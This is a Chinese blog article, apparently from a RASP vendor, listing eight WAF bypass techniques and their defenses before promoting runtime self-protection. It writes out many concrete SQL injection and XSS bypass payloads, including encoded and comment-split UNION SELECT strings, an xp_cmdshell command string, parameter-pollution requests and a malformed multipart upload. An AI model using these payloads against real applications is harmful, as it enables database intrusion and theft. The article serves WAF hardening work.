減小 WAF 漏報的 8 種方法 ！

近十年來，WAF 已經逐漸發展成熟，被軟件行業接受併成爲無數企業保護應用的不二選擇。不少大型企業甚至相繼親自設計或經過併購涉足其中，在這個碩大的市場裏逐鹿競爭，同時也推進了應用層防火牆的技術演進。

與傳統防火牆工做在傳輸層或網絡層不一樣，WAF 工做在應用層，基於對 Web 應用業務和邏輯的理解，WAF 對各種請求進行內容檢測和驗證，能夠作到實時阻斷非法的請求，從而對各種網站應用進行有效保護。

然而道高一尺，魔高一丈。現代黑客的技術水平也在突飛猛進，零日攻擊早已不是新鮮事，WAF 作爲把守應用安全的重要一關難逃此劫。從原理上講，WAF 實施的仍是基於協議理解＋內容正則匹配的工做方式，當企業應用代碼更新時，亦要及時更新規則集，避免誤報形成業務中斷；在另外一方面，企業須要有個跟蹤安全動態的方案，以期當形形色色新的攻擊方式出現時，能夠第一時間更新規則集，不然就有可能被黑客鑽了空子形成損失。所以，誤報和漏報是懸在應用 WAF 保護的企業頭頂的兩把利刃，尤爲之後者爲甚。

要解決這兩個問題，簡而言之：前者須要增長研發投入，將 WAF 規則集更新歸入正常的研發流程管理起來；後者的基本思路則是吃透 WAF，知己知彼，百戰不殆。想了解怎樣防先要知道對手可能怎樣攻。在此，我想嘗試着列舉一下企業能夠在哪些方面下功夫使 WAF 變得更加靠譜，減小漏報。這其中包括我的的經驗，也包括一些網友分享的經驗，以饗讀者。

1，大小寫混排

這能夠算最容易想到的方式了。大小寫繞過用於只針對小寫或大寫的關鍵字匹配技術，正則表達式 /express/i 大小寫不敏感即沒法繞過，這是最簡單的繞過技術。

舉例：z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

減小漏報方法：對每一個關鍵字或每種狀況都作大小寫轉換的處理。

2，替換關鍵字

這種狀況下大小寫轉化沒法繞過，並且正則表達式會替換或刪除 select、union 這些關鍵字，若是隻匹配一次就很容易繞過。

舉例：z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

減小漏報方法：這種替換能夠構造得更復雜：SeLSeselectleCTecT，設計循環匹配邏輯才能夠封堵住。

3，對一些攻擊特徵串進行不一樣的編碼

如 URL 編碼，ASCII，Unicode 等，使用一些非標準的編碼很容易就能夠繞過 WAF。

1. URL 編碼
   在 Chrome 中輸入一個鏈接，非保留字的字符瀏覽器會對其 URL 編碼，如空格變爲%20、單引號%2七、左括號%2八、右括號%29

普通的URL編碼可能沒法實現繞過，還存在一種狀況URL編碼只進行了一次過濾，能夠用兩次編碼繞過：page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

1. 十六進制編碼
   舉例：

z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代碼中，前者是對單個字符十六進制編碼，後者則是對整個字符串編碼，使用上來講較少見一點。

1. Unicode編碼
   Unicode有所謂的標準編碼和非標準編碼，假設咱們用的utf-8爲標準編碼，那麼西歐語系所使用的就是非標準編碼了。

看一下經常使用的幾個符號的一些Unicode編碼：

• 單引號: %u002七、%u02b九、%u02bc、 %u02c八、 %u203二、 %uff0七、 %c0%2七、 %c0%a七、 %e0%80%a7

• 空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

• 左括號：%u002八、%uff0八、%c0%2八、%c0%a八、%e0%80%a8

• 右括號：%u002九、%uff0九、%c0%2九、%c0%a九、%e0%80%a9

舉例：?id=10%D6‘%20AND%201=2%23 SELECT ‘Ä’=’A’; #1

兩個示例中，前者利用雙字節繞過，好比對單引號轉義操做變成 \’，那麼就變成了 %D6%5C’，%D6%5C 構成了一個雙字節即 Unicode 字節，單引號能夠正常使用。

第二個示例使用的是兩種不一樣編碼的字符的比較，它們比較的結果多是 True 或者 False ，關鍵在於 Unicode 編碼種類繁多，基於黑名單的過濾器沒法處理全部狀況，從而實現繞過。

另外平時聽得多一點的多是 utf-7 的繞過，還有 utf-1六、utf-32 的繞過，後者曾成功的實現對 google 的繞過，有興趣的朋友能夠去了解下。

減小漏報方法：暫無，有待調研

4，使用註釋

看一下常見的用於註釋的符號有哪些：//, — , /**/, #, –+,– -, ;，–a

1. 普通註釋

   舉例：```z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

   ‘union%a0select pass from users#`

/**/在構造得查詢語句中插入註釋，規避對空格的依賴或關鍵字識別; #、–+ 用於終結語句的查詢

• 內聯註釋
  相比普通註釋，內聯註釋用的更多，它有一個特性 /!**/ 只有MySQL能識別

舉例：`index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…`

兩個示例中前者使用內聯註釋，後者還用到了普通註釋。使用註釋一個頗有用的作法即是對關鍵字的拆分，要作到這一點後面討論的特殊符號也能實現，固然前提是包括/、*在內的這些字符能正常使用。

減小漏報方法：增長 WAF 匹配規則對注視的支持

5，等價函數與命令

有些函數或命令因其關鍵字被檢測出來而沒法使用，可是在不少狀況下可使用與之等價或相似的代碼替代其使用。

1. 函數或變量

   hex()、bin() ==> ascii()
   sleep() ==>benchmark()
   concat_ws()==>group_concat()
   mid()、substr() ==> substring()
   @@user ==> user()
   @@datadir ==> datadir()

舉例：

substring()和substr()沒法使用時：?                                                            id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
        或者：substr((select ‘password’),1,1) = 0×70
        strcmp(left(‘password’,1), 0×69) = 1
        strcmp(left(‘password’,1), 0×70) = 0
        strcmp(left(‘password’,1), 0×71) = -1

上述這幾個示例用於說明有時候當某個函數不能使用時，還能夠找到其餘的函數替代其實現，置於select、uinon、where等關鍵字被限制如何處理將在後面filter部分討論。

1. 符號
   and和or有可能不能使用，或者能夠試下&&和||能不能用；還有=不能使用的狀況，能夠考慮嘗試，由於若是不小於又不大於，那邊是等於了

在看一下用得多的空格，可使用以下符號表示其做用：%20 %09 %0a %0b %0c %0d %a0 /**/

1. 生僻函數

   MySQL/PostgreSQL支持XML函數：Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’);
       ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
       SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as         \117n\x65rror));　//postgresql
       ?id=1 and extractvalue(1, concat(0x5c, (select table_name from         information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它們都有許多本身的函數，基於黑名單的filter要想涵蓋這麼多東西從實際上來講不太可能，並且代價太大，看來黑名單技術到必定程度便遇到了限制。

減小漏報方法：增長WAF規則集的匹配支持

6，特殊符號

這裏我把非字母數字的字符都規在了特殊符號一類，特殊符號有特殊的含義和用法，涉及信息量比前面提到的幾種都要多。

先看下烏雲drops上「waf的繞過技巧」一文使用的幾個例子：

• 使用反引號`，例如select `version()`，能夠用來過空格和正則，特殊狀況下還能夠將其作註釋符用

• 神奇的」-+.」，select+id-1+1.from users; 「+」是用於字符串鏈接的，」-」和」.」在此也用於鏈接，能夠逃過空格和關鍵字過濾

• @符號，select@^1.from users; @用於變量定義如@var_name，一個@表示用戶定義，@@表示系統變量

• Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //繞過空格限制

可見，使用這些字符的確是能作不少事，也證明了那句老話，只有想不到，沒有作不到。
本人蒐羅了部分可能發揮大做用的字符(未包括’、*、/等在內，考慮到前面已經出現較屢次了)：`、~、!、@、%、()、[]、.、-、+ 、|、%00

舉例：

關鍵字拆分：‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell 」net user」’)
!和()：’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT)　//另 Access中,」[]」用於表和列,」()」用於數值也能夠作分隔

本節最後給出一些和這些字符多少有點關係的操做符供參考：

>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用這些」特殊符號」實現繞過是一件很細微的事情，一方面各家數據庫對有效符號的處理是不同的，另外一方面你得充分了解這些符號的特性和使用方法才能做爲繞過手段。

減小漏報方法：增長WAF規則集的匹配支持

7，HTTP參數控制

這裏HTTP參數控制除了對查詢語句的參數進行篡改，還包括HTTP方法、HTTP頭的控制

1. HPP(HTTP Parameter Polution)

   舉例：/?id=1;select+1,2,3+from+users+where+id=1—
       /?id=1;select+1&id=2,3+from+users+where+id=1—
       /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又稱作重複參數污染，最簡單的就是?uid=1&uid=2&uid=3，對於這種狀況，不一樣的Web服務器處理方式以下：
具體WAF如何處理，要看其設置的規則，不過就示例中最後一個來看有較大可能繞過。

1. HPF(HTTP Parameter Fragment)
   這種方法是HTTP分割注入，同CRLF有類似之處(使用控制字符%0a、%0d等執行換行)

舉例：

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看罷上面兩個示例，發現和HPP最後一個示例很像，不一樣之處在於參數不同，這裏是在不一樣的參數之間進行分割，到了數據庫執行查詢時再合併語句。

1. HPC(HTTP Parameter Contamination)
   這一律念見於exploit-db上的paper：Beyond SQLi: Obfuscate and Bypass，Contamination一樣意爲污染。

RFC2396定義了以下一些字符：

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
    Reserved : ; / ? : @ & = + $ ,
     Unwise : { } | \ ^ [ ] `

不一樣的Web服務器處理處理構造得特殊請求時有不一樣的邏輯：
以魔術字符%爲例，Asp/Asp.net會受到影響

減小漏報方法：增長WAF規則集的匹配支持

8，緩衝區溢出(Advanced)

緩衝區溢出用於對付WAF，有很多WAF是C語言寫的，而C語言自身沒有緩衝區保護機制，所以若是WAF在處理測試向量時超出了其緩衝區長度，就會引起bug從而實現繞過。

舉例：

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA後面」A」重複1000次，通常來講對應用軟件構成緩衝區溢出都須要較大的測試長度，這裏1000只作參考，在某些狀況下可能不須要這麼長也能溢出

此外，有時把使用GET方法的攻擊轉換成使用POST方法的攻擊可能會避開某些過濾。由於許多應用程序只針對某種類型的請求執行過濾，如GET請求，阻止已知的攻擊字符串。若是一個應用程序但願收到使用GET方法的請求，使用POST請求就能夠徹底避開這種過濾。

再來看一個因沒有正確解析HTTP Request數據包致使的WAF繞過，觸發一個XSS：

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=」‘;name=payload;」
<script>alert(1)</script>
–0000–

正常的HTTP應該是以下：

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=」upfile」; filename=」payload」
<script>alert(1)</script>
–0000–

對比上面倆個 HTTP 頭，給咱們提供了 WAF 繞過的思路——修改攻擊特徵串或 HTTP 中的一細節，讓 WAF 沒法解析或者解析錯誤致使繞過。（許多 WAF 對沒法解析的 HTTP 頭，默認直接 BYPASS，所以要考慮在配置上針對這種狀況作嚴格過濾）

以上列舉了八種繞過 WAF 的方式，通常的解決方案無外乎增長 WAF 規則集的匹配支持，看下來心情想必是不輕鬆的（也是夠長，累，值得讚揚），可見吃透 WAF 和堵住 WAF 漏洞非一日之功可及。在這個快節奏的時代有沒有另闢蹊徑的思路呢？既然想到了，那搜索以後答案也是確定的——它就是下一代安全防禦機制「運行時應用自我保護」（RASP）。

爲何說 RASP 能夠幫助企業擺脫 WAF 這種累死人不償命的解決方案呢？

舉個例子也許你們就明白了。RASP 一般使用探針技術來嵌入應用，而發揮防禦做用的正是探針。不像 WAF 使用旁路監聽或前置等方式在門外站崗，探針運行在應用的執行環境內部，就像白細胞之於人體通常將惡意攻擊攔截消滅。例如 SQL 注入攻擊請求嘗試以任意用戶身份滲透進入數據庫，在請求到達應用內部試圖調用 JDBC 接口時，值班的探針就能夠監測到這個異常請求，並在數據庫操做執行以前將其攔下。這種工做方式相似守在金庫入口的保安，是明顯區別於在外圍築城牆並在城門洞設安檢每過必查的 WAF 治安警察的。

若是你們理解了這種攔截方式，就會想到，RASP 的保護依賴對各類調用接口的適配。或許有人會質疑，這不是依然在走 WAF 的老路麼？個人回答是此路非彼路。RASP 須要適配的接口是通用接口，並且是面向數據資源的接口（源於數據的價值），是企業搭建業務上層建築依賴的底層基礎，而非變幻無窮的業務接口，因此 RASP 跟蹤並適應行業變化的速度是WAF等傳統防禦理念沒法企及的。

儘管聽起來看上去形式類似，但有本質區別。誠然， RASP 和 WAF 都要理解並識別惡意請求的攻擊代碼，從而進行正則匹配和識別，因此兩者在這個工做量上都很多。但 RASP 天生的地緣優點決定，近水樓臺先得月，憑藉對應用執行邏輯的上下文理解，RASP 比 WAF 更有機會去學習如何更好地抵禦惡意攻擊，這也是新應用安全架構經常提到的自適應一詞的部分含義。並且萬變不離其宗，多樣的外部攻擊字符串到了金庫門口的時候，表現形式無非就是幾種操做，這使得 RASP 花在匹配攻擊字符串上的開銷確定比 WAF 要少。

總結一下，RASP 能夠給企業應用帶來基因上的改變，在不須要應用修復漏洞的條件下提供保護，並免去了 WAF 繁雜又頻繁的配置和維護成本，給企業安全領域帶來實質價值的同時，開啓了新的想象空間，解決零日攻擊也隨之變得並不是天方夜譚。

參考資料：
WAF防禦機制和繞過 http://blog.levsonsafe.com/?p=360
淺談WAF繞過 http://netsecurity.51cto.com/art/201212/374068.htm

本文系 OneASP 質量架構工程師王新泉原創文章。現在，多樣化的攻擊手段層出不窮，傳統安全解決方案愈來愈難以應對網絡安全攻擊。OneRASP 實時應用自我保護技術,能夠爲軟件產品提供精準的實時保護，使其免受漏洞所累。想閱讀更多技術文章，請訪問 OneAPM 官方技術博客

本文轉自 OneAPM 官方博客